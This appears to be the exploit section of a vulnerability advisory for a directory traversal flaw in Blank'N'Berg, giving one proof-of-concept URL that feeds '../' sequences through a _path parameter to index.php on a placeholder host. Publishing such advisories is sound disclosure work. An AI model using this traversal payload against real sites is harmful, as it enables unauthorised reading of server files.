• info
• discussion
• exploit
• solution
• references

Blank'N'Berg Directory Traversal Vulnerability


This vulnerability may be exploited with a web client.


The following proof of concept is available:

http://www.example.com/index.php?_path=../../.. /../../